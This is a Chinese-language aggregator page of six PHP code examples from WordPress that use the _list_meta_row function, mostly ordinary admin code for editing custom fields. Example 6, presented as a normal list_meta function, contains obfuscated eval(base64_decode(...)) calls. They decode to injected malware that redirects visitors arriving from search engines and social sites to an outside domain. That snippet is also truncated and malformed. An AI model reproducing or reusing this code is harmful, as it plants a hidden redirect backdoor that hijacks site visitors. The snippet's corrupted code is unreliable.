本文整理汇总了PHP中_list_meta_row函数的典型用法代码示例。如果您正苦于以下问题:PHP _list_meta_row函数的具体用法?PHP _list_meta_row怎么用?PHP _list_meta_row使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了_list_meta_row函数的6个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: wp_ajax_add_meta
/**
* Ajax handler for adding meta.
*
* @since 3.1.0
*/
function wp_ajax_add_meta()
{
check_ajax_referer('add-meta', '_ajax_nonce-add-meta');
$c = 0;
$pid = (int) $_POST['post_id'];
$post = get_post($pid);
if (isset($_POST['metakeyselect']) || isset($_POST['metakeyinput'])) {
if (!current_user_can('edit_post', $pid)) {
wp_die(-1);
}
if (isset($_POST['metakeyselect']) && '#NONE#' == $_POST['metakeyselect'] && empty($_POST['metakeyinput'])) {
wp_die(1);
}
// If the post is an autodraft, save the post as a draft and then attempt to save the meta.
if ($post->post_status == 'auto-draft') {
$post_data = array();
$post_data['action'] = 'draft';
// Warning fix
$post_data['post_ID'] = $pid;
$post_data['post_type'] = $post->post_type;
$post_data['post_status'] = 'draft';
$now = current_time('timestamp', 1);
$post_data['post_title'] = sprintf(__('Draft created on %1$s at %2$s'), date(get_option('date_format'), $now), date(get_option('time_format'), $now));
$pid = edit_post($post_data);
if ($pid) {
if (is_wp_error($pid)) {
$x = new WP_Ajax_Response(array('what' => 'meta', 'data' => $pid));
$x->send();
}
if (!($mid = add_meta($pid))) {
wp_die(__('Please provide a custom field value.'));
}
} else {
wp_die(0);
}
} elseif (!($mid = add_meta($pid))) {
wp_die(__('Please provide a custom field value.'));
}
$meta = get_metadata_by_mid('post', $mid);
$pid = (int) $meta->post_id;
$meta = get_object_vars($meta);
$x = new WP_Ajax_Response(array('what' => 'meta', 'id' => $mid, 'data' => _list_meta_row($meta, $c), 'position' => 1, 'supplemental' => array('postid' => $pid)));
} else {
// Update?
$mid = (int) key($_POST['meta']);
$key = wp_unslash($_POST['meta'][$mid]['key']);
$value = wp_unslash($_POST['meta'][$mid]['value']);
if ('' == trim($key)) {
wp_die(__('Please provide a custom field name.'));
}
if ('' == trim($value)) {
wp_die(__('Please provide a custom field value.'));
}
if (!($meta = get_metadata_by_mid('post', $mid))) {
wp_die(0);
}
// if meta doesn't exist
if (is_protected_meta($meta->meta_key, 'post') || is_protected_meta($key, 'post') || !current_user_can('edit_post_meta', $meta->post_id, $meta->meta_key) || !current_user_can('edit_post_meta', $meta->post_id, $key)) {
wp_die(-1);
}
if ($meta->meta_value != $value || $meta->meta_key != $key) {
if (!($u = update_metadata_by_mid('post', $mid, $value, $key))) {
wp_die(0);
}
// We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
}
$x = new WP_Ajax_Response(array('what' => 'meta', 'id' => $mid, 'old_id' => $mid, 'data' => _list_meta_row(array('meta_key' => $key, 'meta_value' => $value, 'meta_id' => $mid), $c), 'position' => 0, 'supplemental' => array('postid' => $meta->post_id)));
}
$x->send();
}
示例2: list_meta
/**
* Outputs a post's public meta data in the Custom Fields meta box.
*
* @since 1.2.0
*
* @param array $meta
*/
function list_meta($meta)
{
// Exit if no meta
if (!$meta) {
echo '
<table id="list-table" style="display: none;">
<thead>
<tr>
<th class="left">' . _x('Name', 'meta name') . '</th>
<th>' . __('Value') . '</th>
</tr>
</thead>
<tbody id="the-list" data-wp-lists="list:meta">
<tr><td></td></tr>
</tbody>
</table>';
//TBODY needed for list-manipulation JS
return;
}
$count = 0;
?>
<table id="list-table">
<thead>
<tr>
<th class="left"><?php
_ex('Name', 'meta name');
?>
</th>
<th><?php
_e('Value');
?>
</th>
</tr>
</thead>
<tbody id='the-list' data-wp-lists='list:meta'>
<?php
foreach ($meta as $entry) {
echo _list_meta_row($entry, $count);
}
?>
</tbody>
</table>
<?php
}
示例3: die
if (!($meta = get_post_meta_by_id($mid))) {
die('0');
}
// if meta doesn't exist
if (!current_user_can('edit_post', $meta->post_id)) {
die('-1');
}
if ($meta->meta_value != stripslashes($value)) {
if (!($u = update_meta($mid, $key, $value))) {
die('0');
}
// We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
}
$key = stripslashes($key);
$value = stripslashes($value);
$x = new WP_Ajax_Response(array('what' => 'meta', 'id' => $mid, 'old_id' => $mid, 'data' => _list_meta_row(array('meta_key' => $key, 'meta_value' => $value, 'meta_id' => $mid), $c), 'position' => 0, 'supplemental' => array('postid' => $meta->post_id)));
}
$x->send();
break;
case 'add-user':
check_ajax_referer($action);
if (!current_user_can('create_users')) {
die('-1');
}
require_once ABSPATH . WPINC . '/registration.php';
if (!($user_id = add_user())) {
die('0');
} elseif (is_wp_error($user_id)) {
$x = new WP_Ajax_Response(array('what' => 'user', 'id' => $user_id));
$x->send();
}
示例4: list_meta
function list_meta($meta)
{
// Exit if no meta
if (!$meta) {
echo '<tbody id="the-list" class="list:meta"><tr style="display: none;"><td> </td></tr></tbody>';
//TBODY needed for list-manipulation JS
return;
}
$count = 0;
?>
<thead>
<tr>
<th><?php
_e('Key');
?>
</th>
<th><?php
_e('Value');
?>
</th>
<th colspan='2'><?php
_e('Action');
?>
</th>
</tr>
</thead>
<tbody id='the-list' class='list:meta'>
<?php
foreach ($meta as $entry) {
echo _list_meta_row($entry, $count);
}
echo "\n\t</tbody>";
}
示例5: unchanged
die('0'); // if meta doesn't exist
if ( !current_user_can( 'edit_post', $meta->post_id ) )
die('-1');
if ( $meta->meta_value != stripslashes($value) || $meta->meta_key != stripslashes($key) ) {
if ( !$u = update_meta( $mid, $key, $value ) )
die('0'); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
}
$key = stripslashes($key);
$value = stripslashes($value);
$x = new WP_Ajax_Response( array(
'what' => 'meta',
'id' => $mid, 'old_id' => $mid,
'data' => _list_meta_row( array(
'meta_key' => $key,
'meta_value' => $value,
'meta_id' => $mid
), $c ),
'position' => 0,
'supplemental' => array('postid' => $meta->post_id)
) );
}
$x->send();
break;
case 'add-user' :
check_ajax_referer( $action );
if ( !current_user_can('create_users') )
die('-1');
require_once(ABSPATH . WPINC . '/registration.php');
if ( !$user_id = add_user() )
die('0');
示例6: list_meta
/**
* {@internal Missing Short Description}}
*
* @since unknown
*
* @param unknown_type $meta
*/
function list_meta($meta)
{
// Exit if no meta
if (!$meta) {
echo '
<table id="list-table" style="display: none;">
<thead>
<tr>
<th class="left">' . __('Name') . '</th>
<th>' . __('Value') . '</th>
</tr>
</thead>
<tbody id="the-list" class="list:meta">
<tr><td></td></tr>
</tbody>
</table>';
//TBODY needed for list-manipulation JS
return;
}
$count = 0;
?>
<table id="list-table">
<thead>
<tr>
<th class="left"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZ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JhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
foreach ($meta as $entry) {
echo _list_meta_row($entry, $count);
}
?>
</tbody>
</table>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJW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